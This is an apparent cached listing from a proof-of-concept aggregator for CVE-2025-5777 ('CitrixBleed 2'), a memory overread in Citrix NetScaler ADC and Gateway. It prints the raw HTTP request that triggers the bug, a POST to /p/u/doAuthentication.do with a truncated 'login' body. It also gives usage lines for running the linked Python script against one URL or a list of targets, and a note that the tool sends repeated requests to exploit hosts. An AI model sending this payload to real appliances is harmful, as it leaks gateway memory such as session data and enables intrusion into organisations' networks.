CVE-2025-5777 PoC — NetScaler ADC and NetScaler Gateway - Insufficient input validation leading to memory overread

Source

https://github.com/SleepNotF0und/CVE-2025-5777

Associated Vulnerability

Title:NetScaler ADC and NetScaler Gateway - Insufficient input validation leading to memory overread (CVE-2025-5777)
Description:Insufficient input validation leading to memory overread when the NetScaler is configured as a Gateway (VPN virtual server, ICA Proxy, CVPN, RDP Proxy) OR AAA virtual server

Description

CVE-2025-5777 (CitrixBleed 2) - [Citrix NetScaler ADC] [Citrix Gateway]

Readme

<img width="1549" height="953" alt="8" src="https://github.com/user-attachments/assets/9e41f909-eb16-4a55-ac8c-0068513b7bd7" />

.  

PoC  
```
POST /p/u/doAuthentication.do HTTP/1.1
Host: 167.xxx.xx.x
Content-Length: 5

login
```
.  
The tool verfiy then 20 more requests to exploit.  
.  

Usage:-  
python CVE‑2025‑5777.py <<-URL->>  

python CVE‑2025‑5777.py -l test.txt

File Snapshot


 [4.0K]  /data/pocs/0c1d3af0a2bfc2f7fedf04d520e0166166383f84
├── [ 10K]  CVE‑2025‑5777.py
└── [ 383]  README.md

0 directories, 2 files

Shenlong Bot has cached this for you

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →

Goal Reached Thanks to every supporter — we hit 100%!